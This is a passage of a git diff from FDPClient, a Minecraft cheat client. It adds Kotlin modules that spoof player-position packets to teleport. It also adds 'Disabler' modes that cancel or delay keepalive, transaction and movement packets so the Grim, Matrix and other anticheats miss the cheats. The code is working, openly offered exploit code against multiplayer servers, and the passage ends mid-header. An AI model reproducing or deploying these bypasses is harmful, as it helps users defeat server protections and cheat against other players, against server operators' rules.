mc.thePlayer.posZ + ) + mc.thePlayer.motionY = 1.0420262142255328 + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + } + + "rewinside" -> { + mc.thePlayer.motionY = 0.1 + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY + 0.6, + mc.thePlayer.posZ, + true + ) + ) + + if (mc.thePlayer.posX.toInt().toDouble() == endX && mc.thePlayer.posY.toInt() + .toDouble() == endY && mc.thePlayer.posZ.toInt().toDouble() == endZ + ) { + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } else alert("§7[§8§lTeleport§7] §3Teleport try...") + } + + "oldrewinside" -> { + mc.thePlayer.motionY = 0.1 + + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + + if (mc.thePlayer.posX.toInt().toDouble() == endX && mc.thePlayer.posY.toInt() + .toDouble() == endY && mc.thePlayer.posZ.toInt().toDouble() == endZ + ) { + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } else alert("§7[§8§lTeleport§7] §3Teleport try...") + + forward(0.04) + } + + "minesucht" -> { + if (!mc.thePlayer.isSneaking && needSneak.get()) + + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } + + "tp" -> { + if (!mc.thePlayer.isSneaking && needSneak.get()) + + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + mc.thePlayer.setPosition(endX, endY, endZ) + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } + + "karhu" -> { + if (!mc.thePlayer.isSneaking && needSneak.get()) + + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, false)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, false)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, false)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, false)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, false)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + false + ) + ) + mc.thePlayer.setPosition(endX, endY, endZ) + + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } + } + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent?) { + if (modeValue.equals("AAC3.5.0")) return + + val lookVec = Vec3( + mc.thePlayer.lookVec.xCoord * 300, + mc.thePlayer.lookVec.yCoord * 300, + mc.thePlayer.lookVec.zCoord * 300 + ) + val posVec = Vec3(mc.thePlayer.posX, mc.thePlayer.posY + 1.62, mc.thePlayer.posZ) + + objectPosition = + mc.thePlayer.worldObj.rayTraceBlocks(posVec, posVec.add(lookVec), false, ignoreNoCollision.get(), false) + + if (objectPosition == null || objectPosition!!.blockPos == null) return + + val belowBlockPos = + BlockPos(objectPosition!!.blockPos.x, objectPosition!!.blockPos.y - 1, objectPosition!!.blockPos.z) + + fixedY = if (getBlock(objectPosition!!.blockPos) is BlockFence) (if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, mc.thePlayer.entityBoundingBox.offset( + objectPosition!!.blockPos.x + 0.5 - mc.thePlayer.posX, + objectPosition!!.blockPos.y + 1.5 - mc.thePlayer.posY, + objectPosition!!.blockPos.z + 0.5 - mc.thePlayer.posZ + ) + ).isEmpty() + ) 0.5 else 0.0) else if (getBlock(belowBlockPos) is BlockFence) (if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, mc.thePlayer.entityBoundingBox.offset( + objectPosition!!.blockPos.x + 0.5 - mc.thePlayer.posX, + objectPosition!!.blockPos.y + 0.5 - mc.thePlayer.posY, + objectPosition!!.blockPos.z + 0.5 - mc.thePlayer.posZ + ) + ).isNotEmpty() || Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.getCollisionBoundingBox( + mc.theWorld, objectPosition!!.blockPos, Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.defaultState + ) == null + ) 0.0 else 0.5 - Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.blockBoundsMaxY) else if (getBlock(objectPosition!!.blockPos) is BlockSnow) Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.blockBoundsMaxY - 0.125 else 0.0 + + val x = objectPosition!!.blockPos.x + val y = (if (Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.getCollisionBoundingBox( + mc.theWorld, objectPosition!!.blockPos, Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.defaultState + ) == null + ) objectPosition!!.blockPos.y + Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.blockBoundsMaxY else Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )?.getCollisionBoundingBox( + mc.theWorld, objectPosition!!.blockPos, Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.defaultState + )!!.maxY) - 1.0 + fixedY + val z = objectPosition!!.blockPos.z + + if (getBlock(objectPosition!!.blockPos) !is BlockAir) { + val renderManager = mc.renderManager + + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glLineWidth(2f) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(false) + RenderUtils.glColor( + if (modeValue.equals("minesucht") && mc.thePlayer.position.y.toDouble() != y + 1) Color( + 255, + 0, + 0, + 90 + ) else if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, + mc.thePlayer.entityBoundingBox.offset( + x + 0.5 - mc.thePlayer.posX, + y + 1.0 - mc.thePlayer.posY, + z + 0.5 - mc.thePlayer.posZ + ) + ).isNotEmpty() + ) Color(255, 0, 0, 90) else Color(0, 255, 0, 90) + ) + RenderUtils.drawFilledBox( + AxisAlignedBB( + x - renderManager.renderPosX, + (y + 1) - renderManager.renderPosY, + z - renderManager.renderPosZ, + x - renderManager.renderPosX + 1.0, + y + 1.2 - renderManager.renderPosY, + z - renderManager.renderPosZ + 1.0 + ) + ) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(true) + GL11.glDisable(GL11.GL_BLEND) + + RenderUtils.renderNameTag( + Math.round(mc.thePlayer.getDistance(x + 0.5, y + 1.0, z + 0.5)).toString() + "m", + x + 0.5, + y + 1.7, + z + 0.5 + ) + GlStateManager.resetColor() + } + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (modeValue.equals("aac3.5.0") && freeze) { + event.zeroXZ() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (disableLogger) return + + if (packet is C03PacketPlayer) { + + when (modeValue.get().lowercase(Locale.getDefault())) { + "spoof" -> { + if (endPos == null) + packet.x = endPos!!.x + 0.5 + packet.y = (endPos!!.y + 1).toDouble() + packet.z = endPos!!.z + 0.5 + mc.thePlayer.setPosition(endPos!!.x + 0.5, (endPos!!.y + 1).toDouble(), endPos!!.z + 0.5) + } + + "aac3.5.0" -> { + if (!flyTimer.hasTimePassed(60)) return + + event.cancelEvent() + + if (packet !is C04PacketPlayerPosition && packet !is C06PacketPlayerPosLook) return + + packets.add(packet) + } + } + } + } + + override val tag: String + get() = modeValue.get() +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ViaVersionFix.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ViaVersionFix.kt new file mode 100644 index 0000000..22de902 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ViaVersionFix.kt @@ -0,0 +1,28 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType + +@ModuleInfo(name = "ViaVersionFix", category = ModuleCategory.EXPLOIT) +class ViaVersionFix : Module() { + override fun onEnable() { + FDPClient.hud.addNotification( + Notification( + "WARNING", + "If you using this module in a low version server < 1.12.Server AntiCheat will detect this as a hack when you right click!", + NotifyType.WARNING, + 4000, + 500 + ) + ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/DisablerMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/DisablerMode.kt new file mode 100644 index 0000000..81728d4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/DisablerMode.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.exploit.Disabler +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance + +abstract class DisablerMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val disabler: Disabler + get() = FDPClient.moduleManager[Disabler::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onWorld(event: WorldEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimBadPacketDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimBadPacketDisabler.kt new file mode 100644 index 0000000..7218904 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimBadPacketDisabler.kt @@ -0,0 +1,40 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.grim + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.network.play.client.C0BPacketEntityAction + +class GrimBadPacketDisabler : DisablerMode("GrimACBadPacket") { + private val ba = BoolValue("BadPacketA",true) + private val bb = BoolValue("BadPacketF",true) + private var lastsprint = true + + @EventTarget + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (ba.get() && packet is C09PacketHeldItemChange) { + val slot = mc.thePlayer.inventory.currentItem + if (slot == mc.thePlayer.inventory.currentItem && slot != -1) { + event.cancelEvent() + } + } + if (bb.get() && packet is C0BPacketEntityAction && !mc.thePlayer.isDead) { + if (packet.action == C0BPacketEntityAction.Action.START_SPRINTING) { + if (lastsprint) { + event.cancelEvent() + } + lastsprint = true + } else { + if (packet.action == C0BPacketEntityAction.Action.STOP_SPRINTING) { + if (!lastsprint) { + event.cancelEvent() + } + lastsprint = false + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimPlaceDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimPlaceDisabler.kt new file mode 100644 index 0000000..e64e463 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimPlaceDisabler.kt @@ -0,0 +1,68 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.grim + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.Packet +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.network.play.client.C0EPacketClickWindow +import java.util.concurrent.LinkedBlockingQueue + +class GrimPlaceDisabler : DisablerMode("Grim Place") { + private val packetsG = LinkedBlockingQueue<Packet<*>>() + private var pre = false + private val c0e = BoolValue("ChestStealer", true) + private val c08 = BoolValue("PlaceBlock", true) + private val c0b = BoolValue("C0B", true) + + + override fun onMotion(event: MotionEvent) { + pre = event.eventState == EventState.PRE + if (event.eventState == EventState.PRE) { + try { + while (!packetsG.isEmpty()) { + mc.netHandler!!.addToSendQueue(packetsG.take()) + disabler.debugMessage("Sending queued packets") + } + } catch (e: Exception) { + e.printStackTrace() + } + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C0EPacketClickWindow && c0e.get()) { + if (!pre) { + event.cancelEvent() + packetsG.add(packet) + disabler.debugMessage("Sending C0E") + } + } + if (packet is C0BPacketEntityAction && c0b.get()) { + if (!pre) { + event.cancelEvent() + packetsG.add(packet) + disabler.debugMessage("Sendig C0B") + } + } + if (packet is C08PacketPlayerBlockPlacement && c08.get()) { + if (!pre) { + event.cancelEvent() + packetsG.add(packet) + disabler.debugMessage("Seding C08") + } + } + } + + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimSpectate.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimSpectate.kt new file mode 100644 index 0000000..1de814a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/grim/GrimSpectate.kt @@ -0,0 +1,41 @@ +// thank you ccbluex + +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.grim + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S32PacketConfirmTransaction +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayClient +import java.util.concurrent.LinkedBlockingQueue + +class GrimSpectateDisabler : DisablerMode("GrimSpectate") { + + private var shouldDelay = false + private val packets = LinkedBlockingQueue<Packet<INetHandlerPlayClient>>() + + override fun onEnable() { + shouldDelay = false + } + + override fun onDisable() { + while (!packets.isEmpty()) { + PacketUtils.handlePacket(packets.take() as Packet<INetHandlerPlayClient?>) + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook) { + shouldDelay = true + disabler.debugMessage("Start Canceling") + } + + if (packet is S32PacketConfirmTransaction && shouldDelay) { + event.cancelEvent() + packets.add(packet as Packet<INetHandlerPlayClient>) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt new file mode 100644 index 0000000..fb98f7c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.matrix + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.PostMotionEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.module.modules.movement.Flight +import net.ccbluex.liquidbounce.features.module.modules.movement.Speed +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.ClientUtils.displayChatMessage +import net.ccbluex.liquidbounce.utils.MovementUtils.isMoving +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.util.BlockPos + +class MatrixDisabler : DisablerMode("Matrix") { + + private val matrixNoCheck = BoolValue("NoModuleCheck", false) + private val matrixMoveFix = BoolValue("MoveFix", true) + private val matrixMoveOnly = BoolValue("MoveOnly", false) + private val matrixNoMovePacket = BoolValue("NoMovePacket", true) + private val matrixHotbarChange = BoolValue("HotbarChange", true) + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (matrixNoCheck.get() || FDPClient.moduleManager.getModule(Speed::class.java)!!.state || FDPClient.moduleManager.getModule(Flight::class.java)!!.state) { + if (packet is C03PacketPlayer) { + if (matrixNoMovePacket.get() && !packet.isMoving) { + event.cancelEvent() + displayChatMessage("no move, cancelled") + return + } + if (matrixMoveFix.get()) { + packet.onGround = true + if (!packet.rotating) { + packet.rotating = true + packet.yaw = mc.thePlayer.rotationYaw + packet.pitch = mc.thePlayer.rotationPitch + } + } + } + } + } + + @Override + fun onPostMotion(event: PostMotionEvent) { + if (!matrixMoveOnly.get() || isMoving()) + if (matrixNoCheck.get() || FDPClient.moduleManager[Flight::class.java]!!.state || FDPClient.moduleManager[Speed::class.java]!!.state) { + var changed = false + if (matrixHotbarChange.get()) for (i in 0..8) { + // find an empty inventory slot + if(mc.thePlayer.inventory.mainInventory[i] == null && i != mc.thePlayer.inventory.currentItem) { + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(i)) + changed = true + displayChatMessage("found empty slot $i, switching") + break + } + } + + RotationUtils.serverRotation?.let { C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, it.yaw, RotationUtils.serverRotation!!.pitch, mc.thePlayer.onGround) } + ?.let { PacketUtils.sendPacketNoEvent(it) } + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(BlockPos(-1, -1, -1), -1, null, 0f, 0f, 0f)) + displayChatMessage("sent placement") + + if (changed) { + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + displayChatMessage("switched back") + } + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/BasicDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/BasicDisabler.kt new file mode 100644 index 0000000..322ec45 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/BasicDisabler.kt @@ -0,0 +1,70 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.module.modules.world.scaffold.Scaffold +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.client.C00PacketKeepAlive +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.client.C0APacketAnimation +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.client.C13PacketPlayerAbilities +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.* + + +class BasicDisabler : DisablerMode("Basic") { + private val cancelC00Value = BoolValue("${valuePrefix}CancelC00", true) + private val cancelC0FValue = BoolValue("${valuePrefix}CancelC0F", true) + private val cancelC0AValue = BoolValue("${valuePrefix}CancelC0A", true) + private val cancelC0BValue = BoolValue("${valuePrefix}CancelC0B", true) + private val cancelC07Value = BoolValue("${valuePrefix}CancelC07", true) + private val cancelC13Value = BoolValue("${valuePrefix}CancelC13", true) + private val cancelC03Value = BoolValue("${valuePrefix}CancelC03", true) + private val c03NoMoveValue = BoolValue("${valuePrefix}C03-NoMove", true).displayable { cancelC03Value.get() } + private val c0bscaffoldValue = BoolValue("${valuePrefix}C0B-OnlyScaffold",true).displayable {cancelC0BValue.get()} + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C00PacketKeepAlive && cancelC00Value.get()) { + event.cancelEvent() + disabler.debugMessage("Cancel C00-KeepAlive") + } + if (packet is C0FPacketConfirmTransaction && cancelC0FValue.get()) { + event.cancelEvent() + disabler.debugMessage("Cancel C0F-Transaction") + } + if (packet is C0APacketAnimation && cancelC0AValue.get()) { + event.cancelEvent() + disabler.debugMessage("Cancel C0A-Swing") + } + if (packet is C0BPacketEntityAction) { + if (!c0bscaffoldValue.get()) { + event.cancelEvent() + disabler.debugMessage("Cancel C0B-Action") + } else { + if (FDPClient.moduleManager[Scaffold::class.java]!!.state) { + event.cancelEvent() + disabler.debugMessage("Cancel C0B-Action") + } + } + } + if (packet is C07PacketPlayerDigging && cancelC07Value.get()) { + event.cancelEvent() + disabler.debugMessage("Cancel C07-Digging") + } + if (packet is C13PacketPlayerAbilities && cancelC13Value.get()) { + event.cancelEvent() + disabler.debugMessage("Cancel C13-Abilities") + } + if (packet is C03PacketPlayer && !(packet is C04PacketPlayerPosition || packet is C05PacketPlayerLook || packet is C06PacketPlayerPosLook) && cancelC03Value.get()) { + if (c03NoMoveValue.get() && MovementUtils.isMoving()) + return + event.cancelEvent() + disabler.debugMessage("Cancel C03-Flying") + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/BoatDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/BoatDisabler.kt new file mode 100644 index 0000000..a055829 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/BoatDisabler.kt @@ -0,0 +1,65 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.entity.Entity +import net.minecraft.entity.item.EntityBoat +import net.minecraft.network.play.client.C03PacketPlayer +import java.util.* + +class BoatDisabler : DisablerMode("Boat") { + private var canModify = false + private val noGroundValue = BoolValue("${valuePrefix}NoGround", false) + + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.ridingEntity != null) { + mc.thePlayer.rotationPitch = (90.0).toFloat() + mc.thePlayer.swingItem() + mc.playerController.attackEntity(mc.thePlayer, mc.thePlayer.ridingEntity) + mc.thePlayer.swingItem() + mc.playerController.attackEntity(mc.thePlayer, getNearBoat()) + canModify = true + disabler.debugMessage("Destroy Boat") + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer.ridingEntity != null) { + canModify = true + } + + if (canModify && packet is C03PacketPlayer) { + packet.onGround = !noGroundValue.get() + } + } + + override fun onWorld(event: WorldEvent) { + canModify = false + } + + override fun onEnable() { + disabler.debugMessage("Place 2 Boats Next To Each other And Right Click To Use It!") + canModify = false + } + + private fun getNearBoat():Entity? { + val entities = mc.theWorld.loadedEntityList + for (entity_ in entities) { + if (entity_ is EntityBoat) { + if (entity_ != mc.thePlayer.ridingEntity) { + return entity_ + } + } + } + return null + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/FakeLagDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/FakeLagDisabler.kt new file mode 100644 index 0000000..ea39649 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/FakeLagDisabler.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.module.modules.player.Blink +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.BlinkUtils + +class FakeLagDisabler : DisablerMode("FakeLag") { + private val c0FPacketValue = BoolValue("${valuePrefix}C0FPacket", false) + private val c00PacketValue = BoolValue("${valuePrefix}C00Packet", false) + private val lagDelayValue = IntegerValue("${valuePrefix}LagDelay", 0, 0, 2000) + private val lagDurationValue = IntegerValue("${valuePrefix}LagDuration", 200, 100, 1000) + private val fakeLagDelay = MSTimer() + private val fakeLagDuration = MSTimer() + override fun onEnable() { + BlinkUtils.clearPacket() + BlinkUtils.setBlinkState(all = true) + fakeLagDuration.reset() + fakeLagDelay.reset() + } + override fun onDisable() { + BlinkUtils.setBlinkState(packetTransaction = c0FPacketValue.get() || BlinkUtils.transactionStat, packetKeepAlive = c00PacketValue.get() || BlinkUtils.keepAliveStat) + BlinkUtils.releasePacket(onlySelected = true) + BlinkUtils.setBlinkState(off = true) + } + + override fun onWorld(event: WorldEvent) { + BlinkUtils.clearPacket() + BlinkUtils.setBlinkState(off = true) + fakeLagDuration.reset() + fakeLagDelay.reset() + } + + override fun onUpdate(event: UpdateEvent) { + if(FDPClient.moduleManager[Blink::class.java]!!.state) { + fakeLagDelay.reset() + fakeLagDuration.reset() + return + } + if (mc.thePlayer.isDead) { + BlinkUtils.setBlinkState(packetTransaction = c0FPacketValue.get() || BlinkUtils.transactionStat, packetKeepAlive = c00PacketValue.get() || BlinkUtils.keepAliveStat) + BlinkUtils.releasePacket(onlySelected = true) + BlinkUtils.setBlinkState(off = true) + return + } + if (fakeLagDuration.hasTimePassed(lagDurationValue.get().toLong())) { + fakeLagDelay.reset() + fakeLagDuration.reset() + disabler.debugMessage("Release buf(size=${BlinkUtils.bufferSize()})") + BlinkUtils.setBlinkState(packetTransaction = c0FPacketValue.get() || BlinkUtils.transactionStat, packetKeepAlive = c00PacketValue.get() || BlinkUtils.keepAliveStat) + BlinkUtils.releasePacket(onlySelected = true) + BlinkUtils.setBlinkState(off = true) + } else if (fakeLagDelay.hasTimePassed(lagDelayValue.get().toLong())) { + BlinkUtils.setBlinkState(all = true) + } else { + fakeLagDuration.reset() + BlinkUtils.setBlinkState(off = true) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/FlyingDisabler.kt 